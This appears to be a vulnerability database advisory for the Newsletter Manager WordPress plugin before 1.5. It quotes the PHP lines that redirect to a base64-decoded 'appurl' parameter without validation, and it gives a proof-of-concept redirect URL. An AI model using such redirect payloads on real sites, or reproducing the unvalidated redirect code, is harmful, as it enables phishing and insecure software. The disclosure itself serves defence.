WordPress Plugin Vulnerabilities
Newsletter Manager < 1.5 - Unauthenticated Open Redirect
Description
The plugin used base64 encoded user input in the appurl parameter without validation, to redirect users using the header() PHP function, leading to an open redirect issue
Proof of Concept
In the file '/newsletter-manager/confirmation.php':
33: $xyz_em_url = base64_decode($_GET['appurl']);
[...]
179: header("Location:".$xyz_em_url);
http://example.com/?wp_nlm=confirmation&appurl=aHR0cDovL3d3dy5nb29nbGUuY29t will redirect to "http://www.google.com?result=failure" Affects Plugins
Fixed in version 1.5 - plugin closed
References
Classification
Miscellaneous
Timeline
Publicly Published
2019-05-18 (about 3 years ago)
Added
2019-05-21 (about 3 years ago)
Last Updated
2020-12-29 (about 2 years ago)